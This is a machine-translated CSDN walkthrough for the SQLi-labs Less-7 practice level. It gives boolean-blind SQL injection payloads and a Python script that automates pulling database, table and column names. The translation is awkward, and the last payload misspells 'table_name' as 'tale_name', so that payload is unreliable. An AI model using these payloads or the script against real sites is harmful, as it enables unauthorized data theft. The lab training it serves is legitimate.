SQLi LABS Less-7 Ciego booleano

"Página de inicio del autor": Shibie Sanshi wyx
"Perfil del autor": CSDN top200, experto en blogs de Alibaba Cloud, experto en compartir en la nube de Huawei, creador de alta calidad en el campo de la seguridad de redes

inserte la descripción de la imagen aquí

El séptimo nivel es la inyección de caracteres de comillas simples + corchetes dobles, y se recomienda la inyección ciega booleana.

Método 1: persianas booleanas

Artículo recomendado: Explicación detallada del uso de la anotación ciega booleana, principio + pasos + tutorial práctico

El primer paso, determinar el punto de inyección.

Ingrese en la barra de direcciones: ?id=1')) y 1 – a, la página se muestra normalmente
inserte la descripción de la imagen aquí
Ingrese en la barra de direcciones: ?id=1')) y 0 – a, la página se muestra anormal (vacía)
inserte la descripción de la imagen aquí

El segundo paso, determinar la longitud.

Para determinar si la longitud del nombre de la base de datos utilizada actualmente es mayor que 1 (definitivamente mayor que), ingrese lo siguiente en la barra de direcciones:

?id=1')) and length(database()) > 1 -- a

inserte la descripción de la imagen aquí
Se establece el juicio, la página se muestra normalmente y se utiliza el script de Python para automatizar el juicio al final del artículo.

El tercer paso, enumerar caracteres

Para determinar si el código ascll del primer carácter del nombre de la base de datos es mayor que 1 (definitivamente mayor que), ingrese:

?id=1')) and ascii(substr((database()),1,1)) >1 -- a

Se establece el juicio, la página se muestra normalmente y se utiliza el script de Python para automatizar el juicio al final del artículo.

El cuarto paso, fuera de la biblioteca.

El script de Python es el siguiente, modificado según sea necesario:

import requests

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://55aa541ede774f4da9a2d0f63c3f758c.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
	(select group_concat(schema_name)
	from information_schema.schemata)
) ={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(
  substr(
    (select group_concat(schema_name)
     from information_schema.schemata
	),{n},1)
) ={r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in....' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # print('我正在猜解', n)
            # 页面中出现此内容则表示成功
            if 'You are in....' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

Obtenga todas las bases de datos
y juzgue la longitud de la carga útil:

?id=1')) and length(
	(select group_concat(schema_name)
	from information_schema.schemata)
) ={n} -- a

Enumerar carga útil de caracteres:

?id=1')) and ascii(
  substr(
    (select group_concat(schema_name)
     from information_schema.schemata
	),{n},1)
) ={r} -- a

Resultado de la ejecución:
inserte la descripción de la imagen aquí
Obtener todas las tablas de la biblioteca de seguridad.
Determinar la longitud de la carga útil:

?id=1')) and length(
	(select group_concat(table_name)
	from information_schema.tables
	where table_schema="security")
) ={n} -- a

Enumerar carga útil de caracteres:

?id=1')) and ascii(
  substr(
    (select group_concat(table_name)
     from information_schema.tables
     where table_schema="security"
	),{n},1)
) ={r} -- a

Resultado de la ejecución:
inserte la descripción de la imagen aquí
obtener todos los campos de la tabla de usuarios.
Determinar la longitud de la carga útil:

?id=1')) and length(
	(select group_concat(column_name)
	from information_schema.columns
	where table_schema="security" and table_name="users")
) ={n} -- a

Enumerar carga útil de caracteres:

?id=1')) and ascii(
  substr(
    (select group_concat(column_name)
     from information_schema.columns
     where table_schema="security" and tale_name="users"
	),{n},1)
) ={r} -- a

Columna recomendada

"Inicio rápido de seguridad de red" utiliza el tiempo más corto para dominar la tecnología de seguridad de red central.
"Tutorial de despacho de campos de tiro" Los tutoriales de despacho de aduanas de varios campos de tiro se actualizan continuamente...

Supongo que te gusta

Origin blog.csdn.net/wangyuxiang946/article/details/123839328
Recomendado
Clasificación